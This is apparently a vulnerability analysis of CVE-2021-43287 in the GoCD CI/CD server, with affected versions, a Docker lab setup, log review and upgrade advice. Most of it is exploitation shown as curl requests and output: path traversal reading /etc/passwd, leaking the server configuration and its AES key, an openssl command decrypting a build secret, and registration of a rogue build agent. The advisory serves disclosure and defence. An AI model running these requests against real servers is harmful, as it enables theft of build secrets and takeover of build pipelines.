Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
3

Pre-Auth Takeover of Build Pipelines in GoCD (CVE-2021-43287)

Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Add Assessment

3
Ratings
Technical Analysis

This assessment has moved to the Rapid7 analysis. Thank you.

General Information

Additional Info

Technical Analysis

Description

On October 27, 2021, SonarSource published a blog post describing a pre-authenticated information disclosure vulnerability in GoCD, an open-source CI/CD server. This vulnerability is now known as CVE-2021-43287. Successful exploitation of CVE-2021-43287 could result in build pipeline takeover.

Attacker value is high because GoCD is a CI/CD server whose compromise could have supply chain ramifications. Exploitability is also high due to the fact that the vulnerability can be exploited in a single HTTP request. Rapid7 recommends patching on an emergency basis.

Affected products

GoCD versions 20.6.0 through 21.2.0 are affected.

Technical analysis

Please see the SonarSource writeup for root cause analysis.

Setting up a target environment

We used the official Docker image with tag v21.2.0.

wvu@kharak:~$ docker run -dp 8153:8153 gocd/gocd-server:v21.2.0
Unable to find image 'gocd/gocd-server:v21.2.0' locally
v21.2.0: Pulling from gocd/gocd-server
e95f33c60a64: Pull complete
928b9864409e: Pull complete
5f2e49bee33a: Pull complete
515405ff5d6d: Pull complete
246db5f22e9d: Pull complete
ae3d6dd864e4: Pull complete
589cb1a41a0c: Pull complete
806df0bbd6a9: Pull complete
Digest: sha256:a41313a3f4474c8f295b761874db1dd606109102c895ac0122884d238c9b0f01
Status: Downloaded newer image for gocd/gocd-server:v21.2.0
e60006c3afc743508f14b0cd5cb51e97a8ff49663f9d47dd1a96a87427fde2f1
wvu@kharak:~$

Reading an arbitrary file

Reading /etc/passwd via path traversal is demonstrated here.

wvu@kharak:~$ curl -v "http://127.0.0.1:8153/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd"
*   Trying 127.0.0.1:8153...
* Connected to 127.0.0.1 (127.0.0.1) port 8153 (#0)
> GET /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd HTTP/1.1
> Host: 127.0.0.1:8153
> User-Agent: curl/7.79.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 10 Nov 2021 07:52:51 GMT
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< X-UA-Compatible: chrome=1
< Set-Cookie: JSESSIONID=node0wmbmvg1htsuh1h43hgj0uqck21.node0; Path=/go; Expires=Wed, 24-Nov-2021 07:52:51 GMT; Max-Age=1209600; HttpOnly
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< Content-Type: application/octet-stream;charset=utf-8
< Transfer-Encoding: chunked
<
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
go:x:1000:0:Linux User,,,:/home/go:/bin/bash
svn:x:100:101:svn:/var/svn:/sbin/nologin
* Connection #0 to host 127.0.0.1 left intact
wvu@kharak:~$

Leaking the server configuration

And any build secrets it may contain!

wvu@kharak:~$ curl -v http://127.0.0.1:8153/go/add-on/business-continuity/api/cruise_config
*   Trying 127.0.0.1:8153...
* Connected to 127.0.0.1 (127.0.0.1) port 8153 (#0)
> GET /go/add-on/business-continuity/api/cruise_config HTTP/1.1
> Host: 127.0.0.1:8153
> User-Agent: curl/7.79.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 10 Nov 2021 07:53:27 GMT
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< X-UA-Compatible: chrome=1
< Set-Cookie: JSESSIONID=node0m8ws1am8r6d8ciq80xvyarv52.node0; Path=/go; Expires=Wed, 24-Nov-2021 07:53:27 GMT; Max-Age=1209600; HttpOnly
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< Content-Type: text/xml;charset=utf-8
< Vary: Accept-Encoding, User-Agent
< Transfer-Encoding: chunked
<
<?xml version="1.0" encoding="utf-8"?>
<cruise xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="cruise-config.xsd" schemaVersion="139">
  <server agentAutoRegisterKey="bcc1bcee-c64a-4c07-a0b0-d3c9432b0a0b" webhookSecret="2831478e-8789-4d4b-af14-a56f2b886390" serverId="4aa925a9-09e9-4c36-9125-a9015d52e10d" tokenGenerationKey="2aafa233-72c6-4d28-8852-0e6d6970cff4">
    <backup emailOnSuccess="true" emailOnFailure="true" />
    <artifacts>
      <artifactsDir>artifacts</artifactsDir>
    </artifacts>
  </server>
  <pipelines group="defaultGroup">
    <pipeline name="hax">
      <materials>
        <git url="https://github.com/gocd/gocd" />
      </materials>
      <stage name="hax">
        <jobs>
          <job name="hax">
            <environmentvariables>
              <variable name="FOO">
                <value>foo</value>
              </variable>
              <variable name="BAR" secure="true">
                <encryptedValue>AES:S1+AMT0qR1Tc1e/0pszILQ==:CcOFLa59jShholBS0pV+yg==</encryptedValue>
              </variable>
            </environmentvariables>
            <tasks>
              <exec command="id" />
              <exec command="uname">
                <arg>-a</arg>
              </exec>
            </tasks>
          </job>
        </jobs>
      </stage>
    </pipeline>
  </pipelines>
</cruise>
* Connection #0 to host 127.0.0.1 left intact
wvu@kharak:~$

And the encryption key for said secrets…

wvu@kharak:~$ curl -v http://127.0.0.1:8153/go/add-on/business-continuity/api/cipher.aes
*   Trying 127.0.0.1:8153...
* Connected to 127.0.0.1 (127.0.0.1) port 8153 (#0)
> GET /go/add-on/business-continuity/api/cipher.aes HTTP/1.1
> Host: 127.0.0.1:8153
> User-Agent: curl/7.79.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 10 Nov 2021 07:54:05 GMT
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< X-UA-Compatible: chrome=1
< Set-Cookie: JSESSIONID=node0ln1pidvkicv714oxhaztboo0q3.node0; Path=/go; Expires=Wed, 24-Nov-2021 07:54:05 GMT; Max-Age=1209600; HttpOnly
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< Content-Type: text/plain;charset=utf-8
< Vary: Accept-Encoding, User-Agent
< Transfer-Encoding: chunked
<
* Connection #0 to host 127.0.0.1 left intact
8db66fa5892e8bba1931fdbc7999034dwvu@kharak:~$

Decrypting any build secrets

Using the details above…

<variable name="BAR" secure="true">
  <encryptedValue>AES:S1+AMT0qR1Tc1e/0pszILQ==:CcOFLa59jShholBS0pV+yg==</encryptedValue>
</variable>
wvu@kharak:~$ openssl aes-128-cbc -d -a -K 8db66fa5892e8bba1931fdbc7999034d -iv $(xxd -p <(base64 -d <<<S1+AMT0qR1Tc1e/0pszILQ==)) <<<CcOFLa59jShholBS0pV+yg==
barwvu@kharak:~$

Registering a rogue agent

Finally, you can inject yourself into the build pipeline… but the server can inject code into you.

wvu@kharak:~$ docker run -ite GO_SERVER_URL=http://172.17.0.2:8153/go -e AGENT_AUTO_REGISTER_KEY=bcc1bcee-c64a-4c07-a0b0-d3c9432b0a0b gocd/gocd-agent-alpine-3.13:v21.2.0
[snip]
jvm 1    | 2021-11-10 07:55:27,303 [stdout] - 2021-11-10 07:55:27,303 INFO  [scheduler-1] SslInfrastructureService:78 - [Agent Registration] Starting to register agent.
jvm 1    | 2021-11-10 07:55:27,304 [stdout] - 2021-11-10 07:55:27,303 INFO  [scheduler-1] SslInfrastructureService:88 - [Agent Registration] Fetching token from server.
jvm 1    | 2021-11-10 07:55:27,354 [stdout] - 2021-11-10 07:55:27,352 INFO  [scheduler-1] TokenRequester:56 - The server has generated token for the agent.
jvm 1    | 2021-11-10 07:55:27,355 [stdout] - 2021-11-10 07:55:27,354 INFO  [scheduler-1] SslInfrastructureService:91 - [Agent Registration] Got a token from server.
jvm 1    | 2021-11-10 07:55:27,401 [stdout] - 2021-11-10 07:55:27,400 INFO  [scheduler-1] SslInfrastructureService:170 - This agent is now approved by the server.
jvm 1    | 2021-11-10 07:55:27,408 [stdout] - 2021-11-10 07:55:27,402 INFO  [scheduler-1] SslInfrastructureService:119 - [Agent Registration] Retrieved registration from Go server.
jvm 1    | 2021-11-10 07:55:27,460 [stdout] - 2021-11-10 07:55:27,460 INFO  [scheduler-1] SslInfrastructureService:81 - [Agent Registration] Successfully registered agent.
jvm 1    | 2021-11-10 07:55:27,461 [stdout] - 2021-11-10 07:55:27,460 INFO  [scheduler-1] AgentHTTPClientController:139 - About to get cookie from the server.
jvm 1    | 2021-11-10 07:55:27,547 [stdout] - 2021-11-10 07:55:27,546 INFO  [scheduler-1] AgentHTTPClientController:142 - Got cookie: dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a
jvm 1    | 2021-11-10 07:55:37,862 [stdout] - 2021-11-10 07:55:37,861 INFO  [scheduler-1] HttpService:125 - Got back 200 from server
jvm 1    | 2021-11-10 07:55:37,865 [stdout] - 2021-11-10 07:55:37,863 INFO  [scheduler-1] DefaultGoPublisher:88 - Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43] is reporting status [Preparing] to Go Server for Build [hax/1/hax/1/hax/1]
jvm 1    | 2021-11-10 07:55:47,840 [stdout] - 2021-11-10 07:55:47,838 INFO  [pool-2-thread-1] HttpService:125 - Got back 200 from server
jvm 1    | 2021-11-10 07:56:04,939 [stdout] - 2021-11-10 07:56:04,936 INFO  [scheduler-1] HttpService:125 - Got back 200 from server
jvm 1    | 2021-11-10 07:56:04,940 [stdout] - 2021-11-10 07:56:04,939 INFO  [scheduler-1] DefaultGoPublisher:88 - Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43] is reporting status [Building] to Go Server for Build [hax/1/hax/1/hax/1]
jvm 1    | 2021-11-10 07:56:04,963 [stdout] - 2021-11-10 07:56:04,963 INFO  [scheduler-1] CommandLine:317 - Running command: id
jvm 1    | 2021-11-10 07:56:04,968 [stdout] - 2021-11-10 07:56:04,967 INFO  [Thread-30] CommandLine:51 - uid=1000(go) gid=0(root) groups=0(root)
jvm 1    | 2021-11-10 07:56:05,070 [stdout] - 2021-11-10 07:56:05,069 INFO  [scheduler-1] CommandLine:317 - Running command: uname -a
jvm 1    | 2021-11-10 07:56:05,077 [stdout] - 2021-11-10 07:56:05,075 INFO  [Thread-32] CommandLine:51 - Linux 2302fce9ee47 5.10.25-linuxkit #1 SMP Tue Mar 23 09:27:39 UTC 2021 x86_64 Linux
jvm 1    | 2021-11-10 07:56:05,193 [stdout] - 2021-11-10 07:56:05,192 INFO  [scheduler-1] HttpService:125 - Got back 200 from server
jvm 1    | 2021-11-10 07:56:05,194 [stdout] - 2021-11-10 07:56:05,194 INFO  [scheduler-1] DefaultGoPublisher:94 - Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43] is reporting build result [Passed] to Go Server for Build [hax/1/hax/1/hax/1]
jvm 1    | 2021-11-10 07:56:05,237 [stdout] - 2021-11-10 07:56:05,237 INFO  [scheduler-1] HttpService:125 - Got back 200 from server
jvm 1    | 2021-11-10 07:56:05,239 [stdout] - 2021-11-10 07:56:05,239 INFO  [scheduler-1] DefaultGoPublisher:88 - Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43] is reporting status [Completing] to Go Server for Build [hax/1/hax/1/hax/1]
jvm 1    | 2021-11-10 07:56:05,256 [stdout] - 2021-11-10 07:56:05,255 INFO  [scheduler-1] ArtifactsPublisher:68 - Pluggable metadata folder is empty.
jvm 1    | 2021-11-10 07:56:05,257 [stdout] - 2021-11-10 07:56:05,256 INFO  [scheduler-1] DefaultGoPublisher:100 - Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43] is reporting build result [Passed] to Go Server for Build [hax/1/hax/1/hax/1]
jvm 1    | 2021-11-10 07:56:05,270 [stdout] - 2021-11-10 07:56:05,269 INFO  [scheduler-1] HttpService:125 - Got back 200 from server
jvm 1    | 2021-11-10 07:56:05,397 [stdout] - 2021-11-10 07:56:05,396 INFO  [scheduler-1] DefaultGoPublisher:82 - Stopping Transmission for Build [hax/1/hax/1/hax/1]

Logs?

Only for agent registration and onward, apparently – at least at default log levels.

==> /godata/logs/go-server.log <==
2021-11-10 07:55:27,372 INFO  [qtp1864932556-23] AgentRegistrationController:270 - [Agent Auto Registration] Auto registering agent with uuid 4ab2130c-3965-4c46-8a25-4d792e0c6f43
2021-11-10 07:55:27,542 INFO  [qtp1864932556-32] BuildRepositoryRemoteImpl:127 - [Agent Cookie] Agent [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43]] at location [/go] asked for a new cookie, assigned [dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]
2021-11-10 07:55:27,642 INFO  [105@MessageListener for WorkFinder] BuildAssignmentService:190 - [Agent Assignment] Assigned job [JobIdentifier[hax, 1, 1, hax, 1, hax, 1]] to agent [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43]]

==> /go-working-dir/wrapper.log <==
INFO   | jvm 1    | 2021/11/10 07:55:27 | 2021-11-10 07:55:27,372 INFO  [qtp1864932556-23] AgentRegistrationController:270 - [Agent Auto Registration] Auto registering agent with uuid 4ab2130c-3965-4c46-8a25-4d792e0c6f43
INFO   | jvm 1    | 2021/11/10 07:55:27 | 2021-11-10 07:55:27,542 INFO  [qtp1864932556-32] BuildRepositoryRemoteImpl:127 - [Agent Cookie] Agent [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43]] at location [/go] asked for a new cookie, assigned [dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]
INFO   | jvm 1    | 2021/11/10 07:55:27 | 2021-11-10 07:55:27,642 INFO  [105@MessageListener for WorkFinder] BuildAssignmentService:190 - [Agent Assignment] Assigned job [JobIdentifier[hax, 1, 1, hax, 1, hax, 1]] to agent [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43]]

==> /godata/logs/go-server.log <==
2021-11-10 07:55:37,886 INFO  [qtp1864932556-23] BuildRepositoryRemoteImpl:99 - [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43, dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]] is reporting status [Preparing] for [Build [hax/1/hax/1/hax/1]]

==> /go-working-dir/wrapper.log <==
INFO   | jvm 1    | 2021/11/10 07:55:37 | 2021-11-10 07:55:37,886 INFO  [qtp1864932556-23] BuildRepositoryRemoteImpl:99 - [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43, dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]] is reporting status [Preparing] for [Build [hax/1/hax/1/hax/1]]

==> /godata/logs/go-server.log <==
2021-11-10 07:56:04,945 INFO  [qtp1864932556-32] BuildRepositoryRemoteImpl:99 - [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43, dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]] is reporting status [Building] for [Build [hax/1/hax/1/hax/1]]
2021-11-10 07:56:05,207 INFO  [qtp1864932556-32] BuildRepositoryRemoteImpl:99 - [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43, dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]] is reporting result [Passed] for [Build [hax/1/hax/1/hax/1]]
2021-11-10 07:56:05,244 INFO  [qtp1864932556-42] BuildRepositoryRemoteImpl:99 - [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43, dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]] is reporting status [Completing] for [Build [hax/1/hax/1/hax/1]]
2021-11-10 07:56:05,277 INFO  [qtp1864932556-42] BuildRepositoryRemoteImpl:99 - [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43, dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]] is reporting status and result [Completed, Passed] for [Build [hax/1/hax/1/hax/1]]
2021-11-10 07:56:05,314 INFO  [qtp1864932556-42] Stage:235 - Stage is being completed by transition id: 6

==> /go-working-dir/wrapper.log <==
INFO   | jvm 1    | 2021/11/10 07:56:05 | 2021-11-10 07:56:04,945 INFO  [qtp1864932556-32] BuildRepositoryRemoteImpl:99 - [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43, dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]] is reporting status [Building] for [Build [hax/1/hax/1/hax/1]]
INFO   | jvm 1    | 2021/11/10 07:56:05 | 2021-11-10 07:56:05,207 INFO  [qtp1864932556-32] BuildRepositoryRemoteImpl:99 - [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43, dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]] is reporting result [Passed] for [Build [hax/1/hax/1/hax/1]]
INFO   | jvm 1    | 2021/11/10 07:56:05 | 2021-11-10 07:56:05,244 INFO  [qtp1864932556-42] BuildRepositoryRemoteImpl:99 - [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43, dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]] is reporting status [Completing] for [Build [hax/1/hax/1/hax/1]]
INFO   | jvm 1    | 2021/11/10 07:56:05 | 2021-11-10 07:56:05,277 INFO  [qtp1864932556-42] BuildRepositoryRemoteImpl:99 - [Agent [2302fce9ee47, 172.17.0.3, 4ab2130c-3965-4c46-8a25-4d792e0c6f43, dfaa2a0f-fad5-45f7-bfd9-7d18f9974c0a]] is reporting status and result [Completed, Passed] for [Build [hax/1/hax/1/hax/1]]
INFO   | jvm 1    | 2021/11/10 07:56:05 | 2021-11-10 07:56:05,314 INFO  [qtp1864932556-42] Stage:235 - Stage is being completed by transition id: 6

Guidance

Upgrade GoCD to version 21.3.0 or later.

Resources